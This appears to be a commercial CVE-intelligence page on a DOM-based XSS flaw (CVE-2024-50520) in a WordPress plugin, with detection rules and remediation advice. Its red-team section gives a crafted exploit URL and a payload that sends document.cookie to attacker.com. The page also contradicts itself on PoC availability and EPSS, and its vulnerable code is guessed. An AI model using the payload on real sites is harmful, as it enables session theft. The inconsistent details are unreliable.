☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Peter j. herrel logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-50520

CVE-2024-50520 Cross-Site Scripting in Peter j. herrel
📅 PUBLISHED: 2024-11-19 17:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.20%
👁️
0.20% probability
4.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-50520 is a DOM-Based Cross-Site Scripting (XSS) vulnerability affecting the Ancient World Linked Data WordPress plugin, developed by Peter J. Herrel. The vulnerability exists in versions up to and including 0.2.1. It stems from improper neutralization of user input during web page generation, allowing an attacker to inject malicious scripts that execute in the victim's browser within the context of the vulnerable WordPress site. This is a client-side attack vector, requiring user interaction (e.g., clicking a crafted link). The CVSS score is 6.5 (Medium), with a low EPSS score of 0.0%, indicating low exploitation activity in the wild. No public proof-of-concept (PoC) or patch is currently available.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. As a supply chain risk, users must verify the integrity of the plugin files and monitor for updates. Since no patch is available, the plugin should be considered compromised and removed until a fix is released.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.5 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector (AV): Network – The vulnerability is exploitable remotely.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – No authentication needed.
  • User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
  • Scope (S): Changed – The impact extends beyond the vulnerable component.
  • Confidentiality (C): Low – Limited data exposure (e.g., session tokens).
  • Integrity (I): Low – Limited ability to modify content.
  • Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for DOM-based XSS in a WordPress plugin makes it a significant risk for sites using this plugin.

Deep Dive & Mechanics

The vulnerability is a DOM-Based XSS in the Ancient World Linked Data plugin. Unlike reflected or stored XSS, DOM-based XSS occurs entirely on the client side. The plugin likely reads data from the URL fragment (hash) or other DOM sources and injects it into the page without proper sanitization. For example, the plugin might use JavaScript to parse a URL parameter and write it directly to the DOM via innerHTML or document.write.

Attack Flow:

  1. An attacker crafts a malicious URL containing a JavaScript payload in the fragment identifier (e.g., #<script>alert('XSS')</script>).
  2. The victim clicks the link, which loads the vulnerable WordPress page.
  3. The plugin's JavaScript reads the fragment and injects it into the DOM without sanitization.
  4. The injected script executes in the victim's browser, allowing the attacker to steal cookies, redirect the user, or perform actions on their behalf.

Root Cause: The plugin fails to use safe DOM manipulation methods (e.g., textContent instead of innerHTML) and does not encode or validate input from the URL fragment.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable code pattern. A typical vulnerable snippet might look like:

// Vulnerable code (DOM-based XSS)
var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = hash;

A patched version would use safe methods:

// Patched code
var hash = window.location.hash.substring(1);
document.getElementById('output').textContent = hash;

Or use DOMPurify:

// Patched code with sanitization
var hash = window.location.hash.substring(1);
document.getElementById('output').innerHTML = DOMPurify.sanitize(hash);

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress instance with Ancient World Linked Data plugin version <= 0.2.1.
  • A victim user with a modern browser.

Exploitation Steps:

  1. Identify the vulnerable parameter (likely a URL fragment or query parameter).
  2. Craft a malicious URL:
    http://target-wordpress-site/?page_id=123#<img src=x onerror=alert(document.cookie)>
    
  3. Send the link to the victim via phishing email or social engineering.
  4. Upon clicking, the script executes, exfiltrating cookies or performing actions.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Defensive)

Detection:

  • Monitor web server logs for unusual URL fragments containing <script>, onerror, or javascript:.
  • Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
  • Implement Content Security Policy (CSP) to block inline scripts.

Mitigation:

  • Remove the plugin immediately if no patch is available.
  • Use a Web Application Firewall (WAF) to block malicious payloads.
  • Educate users about phishing links.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar.
    • Unusual URL fragments with JavaScript payloads in server logs.
  • Host IOCs:
    • Presence of the plugin directory /wp-content/plugins/ancient-world-linked-data/.
    • Modified JavaScript files in the plugin (if attacker has admin access).
  • File IOCs:
    • Plugin version file showing 0.2.1 or lower.

Detection Engineering

YARA Rule

rule CVE_2024_50520_DOM_XSS {
    meta:
        description = "Detects potential DOM-based XSS in Ancient World Linked Data plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50520"
    strings:
        $vuln_func = /\.innerHTML\s*=\s*window\.location\.hash/
        $vuln_param = /hash|fragment|location\.hash/
    condition:
        $vuln_func or ($vuln_param and #files > 0)
}

Sigma Rule

title: CVE-2024-50520 DOM-Based XSS in Ancient World Linked Data
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects potential exploitation of DOM-based XSS in Ancient World Linked Data plugin
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#onerror'
            - '#onload'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments with similar patterns (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-50520 DOM-Based XSS Attempt"; flow:to_server; content:"#<script"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Remove the plugin from all WordPress installations until a patch is released.
  2. Monitor for any suspicious activity in web server logs.
  3. Implement Content Security Policy (CSP) to block inline scripts:
    Content-Security-Policy: script-src 'self' https://trusted-cdn.com;
    

Long-term Fix:

  • The vendor must release a patched version that sanitizes all DOM inputs using safe methods (e.g., textContent or DOMPurify).
  • Users should subscribe to security advisories for the plugin.

Workarounds:

  • Use a WAF with XSS detection rules.
  • Disable JavaScript execution for untrusted URL fragments via browser extensions.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Ancient World Linked Data"
http.html:"ancient-world-linked-data-for-wordpress"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-50520/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.